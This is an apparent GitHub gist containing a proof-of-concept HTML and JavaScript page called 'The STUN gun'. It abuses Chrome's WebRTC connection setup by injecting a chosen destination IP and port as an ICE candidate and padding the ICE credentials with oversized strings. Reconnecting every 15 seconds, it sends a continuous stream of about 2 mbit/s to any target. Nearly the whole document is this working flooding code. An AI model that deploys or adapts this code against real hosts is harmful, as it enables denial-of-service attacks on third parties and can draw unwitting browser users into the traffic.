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@kapejod kapejod/stungun.html
Created May 29, 2014

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What would you like to do?
A proof of concept STUN gun for Google Chrome which creates a continous 2 mbit/s stream to anywhere you want.
<html>
<head>
<title>The STUN gun</title>
</head>
<body>
<form action="">
Destination IP:<br>
<input type="text" id="destinationIp" value="127.0.0.1"><br>
Destination port:<br>
<input type="text" id="destinationPort" value="8888"><br><br>
<input type="button" id="shootButton" value="Shoot" onclick="shoot()">
</form>
<script language="JavaScript">
var pc = null;
var timer = null;
function makeString(length) {
var str = "";
for (var i = 0; i < length; i ++) {
str += "A";
}
return str;
}
function processSdp(sdp_str, destination_ip, destination_port) {
var sdp = new Array();
var lines = sdp_str.split("\r\n");
for (var i = 0; i < lines.length; i++) {
if (lines[i].indexOf("a=rtcp-mux") != -1) {
sdp.push(lines[i]);
/* add ice candidates for the destination */
sdp.push("a=candidate:0 1 udp 2130379007 "+destination_ip+" "+destination_port+" typ host");
} else if (lines[i].indexOf("a=ice-ufrag") != -1) {
sdp.push("a=ice-ufrag:"+makeString(12000));
} else if (lines[i].indexOf("a=ice-pwd") != -1) {
sdp.push("a=ice-pwd:"+makeString(12000));
} else {
/* keep the rest */
sdp.push(lines[i]);
}
}
return sdp.join("\r\n");
}
function shoot() {
document.getElementById("shootButton").value = "Stop";
document.getElementById("shootButton").onclick = stop;
var ip = document.getElementById("destinationIp");
var port = document.getElementById("destinationPort");
if (pc != null) {
pc.close();
}
pc = new webkitRTCPeerConnection(null);
pc.createOffer(
function(remoteDescription) {
remoteDescription.sdp = processSdp(remoteDescription.sdp, ip.value, port.value);
pc.setRemoteDescription(
remoteDescription,
function() {
pc.createAnswer(
function(localDescription) {
pc.setLocalDescription(
localDescription,
function() {
timer = setTimeout(function() { shoot(); }, 15000);
},
function() {
console.log("error setting local description");
}
);
},
function() {
console.log("error creating sdp answer");
}
);
},
function() {
console.log("error setting remote description");
}
);
},
function() {
console.log("error creating sdp offer");
}
);
}
function stop() {
if (timer != null) {
clearTimeout(timer);
timer = null;
}
if (pc != null) {
pc.close();
pc = null;
}
document.getElementById("shootButton").value = "Shoot";
document.getElementById("shootButton").onclick = shoot;
}
</script>
</body>
</html>
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